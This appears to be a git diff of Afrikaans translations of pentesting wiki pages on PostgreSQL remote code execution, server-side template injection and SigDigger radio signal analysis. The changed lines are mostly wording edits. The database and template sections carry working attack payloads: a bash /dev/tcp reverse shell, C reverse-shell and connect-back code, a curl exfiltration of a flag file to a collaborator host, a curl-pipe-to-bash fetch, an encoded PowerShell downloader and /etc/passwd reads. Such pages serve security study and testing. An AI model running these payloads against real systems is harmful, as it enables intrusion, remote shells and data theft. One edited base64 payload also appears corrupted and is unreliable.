||||
|
||||
#### Compile die biblioteek
|
||||
|
||||
@ -90,7 +90,7 @@ Kry die PsotgreSQL weergawe met:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoof weergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x reeks suksesvolle integrasie verseker.
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
|
||||
|
||||
Om daardie weergawe in jou stelsel te installeer:
|
||||
```bash
|
||||
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
U kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en selfs hierdie proses **outomatiseer** (as u PostgreSQL-toegang het) met:
|
||||
Jy kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en jy kan selfs **hierdie proses outomatiseer** (as jy PostgreSQL toegang het) met:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
|
||||
|
||||
### RCE in Windows
|
||||
|
||||
Die volgende DLL neem as invoer die **naam van die binêre** en die **nommer** van **keer** wat u dit wil uitvoer en voer dit uit:
|
||||
Die volgende DLL neem as invoer die **naam van die binêre** en die **nommer** van **keer** wat jy dit wil uitvoer en voer dit uit:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
@ -166,7 +166,9 @@ PG_RETURN_VOID();
|
||||
```
|
||||
U kan die DLL wat saamgepers is in hierdie zip vind:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
U kan aan hierdie DLL **watter binêre uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
|
||||
```bash
|
||||
@ -174,7 +176,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde-shel vind:
|
||||
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde-skaal vind:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
@ -258,23 +260,23 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
```
|
||||
Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpunt met die volle MS Visual Studio projek en 'n gereed-om-te-gebruik biblioteek (insluitend: _command eval_, _exec_ en _cleanup_) met multiversieondersteuning.
|
||||
|
||||
### RCE in die nuutste PostgreSQL weergawes
|
||||
### RCE in nuutste PostgreSQL weergawes
|
||||
|
||||
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **verseker** teen skryfbewerkings deur óf die NETWORK_SERVICE óf postgres rekeninge.
|
||||
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** deur gebruik te maak van "groot objek". Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** met behulp van "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **directory traversal** na die datagids **toelaat**. Gevolglik kan 'n geverifieerde aanvaller hierdie **traversal** **benut** om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **directory traversal** na die datagids **toelaat**. Gevolglik kan 'n geverifieerde aanvaller hierdie **traversal** benut om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
|
||||
|
||||
#### Aanvalstroom
|
||||
|
||||
Eerstens moet jy **groot objek gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
|
||||
Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
|
||||
|
||||
{{#ref}}
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
Sodra jy die uitbreiding (met die naam van poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
|
||||
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
|
@ -22,16 +22,16 @@ Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikke
|
||||
|
||||
### Opsporing
|
||||
|
||||
Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik **fuzzing die sjabloon** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
|
||||
Om Server-Side Template Injection (SSTI) te ontdek, is dit aanvanklik **fuzzing die sjabloon** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
|
||||
|
||||
- Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
|
||||
- Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
|
||||
- **Plakonteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||
- **Kode-konteks**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
||||
- **Plaktekst Konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||
- **Kode Konteks**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
||||
|
||||
#### Identifikasiefase
|
||||
|
||||
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of handmatige toetsing van verskillende taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
|
||||
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
|
||||
|
||||
#### Identifikasie deur payloads
|
||||
|
||||
@ -62,13 +62,13 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||
```
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitingspoliglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
|
||||
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitings-polyglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
|
||||
|
||||
## Exploits
|
||||
|
||||
### Generies
|
||||
|
||||
In hierdie **woordlys** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:
|
||||
In hierdie **woordelys** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -177,14 +177,14 @@ Thymeleaf bied ook _uitdrukking preprocessing_ aan, waar uitdrukkings binne dubb
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Voorbeeld van Kwetsbaarheid in Thymeleaf**
|
||||
**Voorbeeld van Kw vulnerability in Thymeleaf**
|
||||
|
||||
Oorweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
|
||||
Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandlike kode-uitvoering wat toegang tot URL's soos:
|
||||
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -203,13 +203,13 @@ el-expression-language.md
|
||||
```
|
||||
**Om filters te omseil**
|
||||
|
||||
Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
||||
Meervoudige veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
||||
|
||||
- Lees `/etc/passwd`
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
- Pasgemaakte Skrip vir payload-generasie
|
||||
- Pasgemaakte Skrip vir payload generasie
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL gebruik, sluit in:
|
||||
Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL benut, sluit in:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
|
||||
- **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
|
||||
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie put uit Twig. Maar, in teenstelling met Twig, wat 'n nuwe sintaksis bekendstel, maak Plates gebruik van inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
|
||||
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie put uit Twig. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
|
||||
|
||||
Controller:
|
||||
```php
|
||||
@ -498,7 +498,7 @@ Blad sjabloon:
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Uitleg sjabloon:
|
||||
Skakel sjabloon:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -693,7 +693,7 @@ URLencoded:
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**Voorbeeld bedienerkant weergawe**
|
||||
**Voorbeeld van bediener-kant weergawe**
|
||||
```javascript
|
||||
var pugjs = require("pug")
|
||||
home = pugjs.render(injected_page)
|
||||
@ -906,7 +906,7 @@ ${x}
|
||||
- `@(1+2)`
|
||||
- `@( //C#Code )`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcgcgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
@ -930,7 +930,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Alhoewel dit Perl is, gebruik dit merke soos ERB in Ruby.
|
||||
Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.
|
||||
|
||||
- `<%= 7*7 %> = 49`
|
||||
- `<%= foobar %> = Error`
|
||||
@ -944,7 +944,7 @@ In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifiek
|
||||
|
||||
- `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
|
||||
- `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" te retourneer sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [hier](https://golang.org/pkg/text/template).
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [here](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -956,9 +956,9 @@ vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [here for html/template](https://golang.org/pkg/html/template/) en [here for text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -976,7 +976,9 @@ Kyk na die res van [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/mas
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## Verwante Hulp
|
||||
|
||||
@ -998,7 +1000,7 @@ As jy dink dit kan nuttig wees, lees:
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Praktiek & Verwysings
|
||||
## Oefening & Verwysings
|
||||
|
||||
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## SigDigger
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) is 'n gratis digitale seinanaliseerder vir GNU/Linux en macOS, ontwerp om inligting van onbekende radiosignale te onttrek. Dit ondersteun 'n verskeidenheid SDR-toestelle deur SoapySDR, en laat aanpasbare demodulasie van FSK, PSK en ASK-signale toe, dekodeer analoog video, analiseer burstige seine en luister na analoog stemkanale (alles in regte tyd).
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) is 'n gratis digitale seinanaliseerder vir GNU/Linux en macOS, ontwerp om inligting van onbekende radiosignale te onttrek. Dit ondersteun 'n verskeidenheid SDR-toestelle deur SoapySDR, en laat aanpasbare demodulasie van FSK, PSK en ASK-signale toe, dekodeer analoog video, analiseer onderbrekingsignale en luister na analoog stemkanale (alles in werklike tyd).
|
||||
|
||||
### Basic Config
|
||||
|
||||
Na die installasie is daar 'n paar dinge wat jy kan oorweeg om te konfigureer.\
|
||||
Na installasie is daar 'n paar dinge wat jy kan oorweeg om te konfigureer.\
|
||||
In instellings (die tweede tab-knoppie) kan jy die **SDR-toestel** kies of **'n lêer kies** om te lees en watter frekwensie om te sintoniseer en die monster tempo (aanbeveel tot 2.56Msps as jou rekenaar dit ondersteun)\\
|
||||
|
||||
.png>)
|
||||
@ -26,7 +26,7 @@ In die GUI-gedrag is dit aanbeveel om 'n paar dinge in te skakel as jou rekenaar
|
||||
|
||||
.png>)
|
||||
|
||||
- Die **Tuner** van SigDigger help om **beter seine te vang** (maar dit kan ook hulle vererger). Ideaal gesproke begin met 0 en hou **dit groter maak totdat** jy die **ruis** wat ingevoer word, vind wat **groter** is as die **verbetering van die sein** wat jy nodig het).
|
||||
- Die **Tuner** van SigDigger help om **beter seine te vang** (maar dit kan ook hulle vererger). Ideaal gesproke begin met 0 en hou aan **om dit groter te maak totdat** jy die **ruis** wat ingevoer word, **groter** vind as die **verbetering van die sein** wat jy nodig het).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -38,33 +38,35 @@ Met [**SigDigger** ](https://github.com/BatchDrake/SigDigger) sinkroniseer met d
|
||||
|
||||
## Interesting tricks
|
||||
|
||||
- Wanneer 'n toestel inligting in bursts stuur, is die **eerste deel gewoonlik 'n preamble**, so jy **hoef nie** te **sorg** as jy **nie inligting** daar vind **of as daar 'n paar foute** daar is nie.
|
||||
- In rame van inligting behoort jy gewoonlik **verskillende rame goed uitgelijnd tussen hulle** te vind:
|
||||
- Wanneer 'n toestel inligting in onderbrekings stuur, is die **eerste deel gewoonlik 'n preamble**, so jy **hoef nie** te **sorg** as jy **nie inligting** daar vind **of as daar 'n paar foute** daar is nie.
|
||||
- In inligtingsraamwerke behoort jy gewoonlik **verskillende rame goed uitgelijnd tussen hulle** te vind:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
- **Nadat jy die bits herstel het, moet jy dit op een of ander manier verwerk**. Byvoorbeeld, in Manchester-kodering sal 'n up+down 'n 1 of 0 wees en 'n down+up sal die ander een wees. So pare van 1s en 0s (ups en downs) sal 'n werklike 1 of 'n werklike 0 wees.
|
||||
- **Nadat jy die bits herwin het, moet jy dit op een of ander manier verwerk**. Byvoorbeeld, in Manchester-kodering sal 'n op+af 'n 1 of 0 wees en 'n af+op sal die ander een wees. So, pare van 1s en 0s (op en af) sal 'n werklike 1 of 'n werklike 0 wees.
|
||||
- Selfs as 'n sein Manchester-kodering gebruik (dit is onmoontlik om meer as twee 0s of 1s agtereenvolgens te vind), kan jy **verskeie 1s of 0s saam in die preamble vind**!
|
||||
|
||||
### Uncovering modulation type with IQ
|
||||
|
||||
Daar is 3 maniere om inligting in seine te stoor: Modulerende die **amplitude**, **frekwensie** of **fase**.\
|
||||
As jy 'n sein nagaan, is daar verskillende maniere om te probeer uit te vind wat gebruik word om inligting te stoor (vind meer maniere hieronder), maar 'n goeie een is om die IQ-grafiek na te gaan.
|
||||
As jy 'n sein nagaan, is daar verskillende maniere om te probeer uit te vind wat gebruik word om inligting te stoor (vind meer maniere hieronder), maar 'n goeie een is om die IQ-grafiek te kontroleer.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Detecting AM**: As daar in die IQ-grafiek byvoorbeeld **2 sirkels** verskyn (waarskynlik een in 0 en een in 'n ander amplitude), kan dit beteken dat dit 'n AM-sein is. Dit is omdat in die IQ-grafiek die afstand tussen die 0 en die sirkel die amplitude van die sein is, so dit is maklik om verskillende amplitudes wat gebruik word, te visualiseer.
|
||||
- **Detecting PM**: Soos in die vorige beeld, as jy klein sirkels vind wat nie met mekaar verband hou nie, beteken dit waarskynlik dat 'n fase-modulasie gebruik word. Dit is omdat in die IQ-grafiek, die hoek tussen die punt en die 0,0 die fase van die sein is, so dit beteken dat 4 verskillende fases gebruik word.
|
||||
- Let daarop dat as die inligting versteek is in die feit dat 'n fase verander en nie in die fase self nie, jy nie verskillende fases duidelik gedifferensieer sal sien nie.
|
||||
- Let daarop dat as die inligting versteek is in die feit dat 'n fase verander word en nie in die fase self nie, jy nie verskillende fases duidelik gedifferensieer sal sien nie.
|
||||
- **Detecting FM**: IQ het nie 'n veld om frekwensies te identifiseer nie (afstand tot sentrum is amplitude en hoek is fase).\
|
||||
Daarom, om FM te identifiseer, moet jy **basies net 'n sirkel** in hierdie grafiek sien.\
|
||||
Boonop word 'n ander frekwensie "verteenwoordig" deur die IQ-grafiek deur 'n **spoedversnelling oor die sirkel** (so in SysDigger, wanneer jy die sein kies, word die IQ-grafiek bevolk, as jy 'n versnelling of rigtingverandering in die geskepte sirkel vind, kan dit beteken dat dit FM is):
|
||||
|
||||
## AM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Uncovering AM
|
||||
|
||||
@ -80,19 +82,19 @@ En so lyk 'n deel van die simbool met die golfvorm:
|
||||
|
||||
#### Checking the Histogram
|
||||
|
||||
Jy kan **die hele sein** waar inligting geleë is, kies, **Amplitude** modus en **Seleksie** kies en op **Histogram** klik. Jy kan waarneem dat 2 duidelike vlakke net gevind word
|
||||
Jy kan **die hele sein** waar die inligting geleë is, kies, **Amplitude** modus en **Seleksie** kies en op **Histogram** klik. Jy kan waarneem dat 2 duidelike vlakke net gevind word
|
||||
|
||||
.png>)
|
||||
|
||||
Byvoorbeeld, as jy Frekwensie kies in plaas van Amplitude in hierdie AM-sein, vind jy net 1 frekwensie (geen manier dat inligting wat in frekwensie gemoduleer is, net 1 frekwensie gebruik nie).
|
||||
Byvoorbeeld, as jy Frekwensie kies in plaas van Amplitude in hierdie AM-sein, vind jy net 1 frekwensie (geen manier dat inligting wat in frekwensie gemoduleer is, net 1 frekwensie gebruik).
|
||||
|
||||
.png>)
|
||||
|
||||
As jy 'n klomp frekwensies vind, sal dit waarskynlik nie 'n FM wees nie, waarskynlik is die seinfrekwensie net gewysig as gevolg van die kanaal.
|
||||
As jy 'n baie frekwensies vind, sal dit waarskynlik nie 'n FM wees nie, waarskynlik is die seinfrekwensie net gewysig as gevolg van die kanaal.
|
||||
|
||||
#### With IQ
|
||||
|
||||
In hierdie voorbeeld kan jy sien hoe daar 'n **groot sirkel** is, maar ook **'n klomp punte in die sentrum.**
|
||||
In hierdie voorbeeld kan jy sien hoe daar 'n **groot sirkel** is, maar ook **'n baie punte in die sentrum.**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -112,13 +114,13 @@ Jy kan ook die aantal simbole wat jy gaan kies, aandui en SigDigger sal die frek
|
||||
|
||||
### Get Bits
|
||||
|
||||
Aangesien dit 'n **AM-gemoduleerde** sein is en die **simbooltempo** (en wetende dat in hierdie geval iets op beteken 1 en iets af beteken 0), is dit baie maklik om die **bits** wat in die sein gekodeer is, te **verkry**. So, kies die sein met inligting en konfigureer die monster en besluit en druk monster (maak seker dat **Amplitude** gekies is, die ontdekte **Simbooltempo** is geconfigureer en die **Gadner klokherstel** is gekies):
|
||||
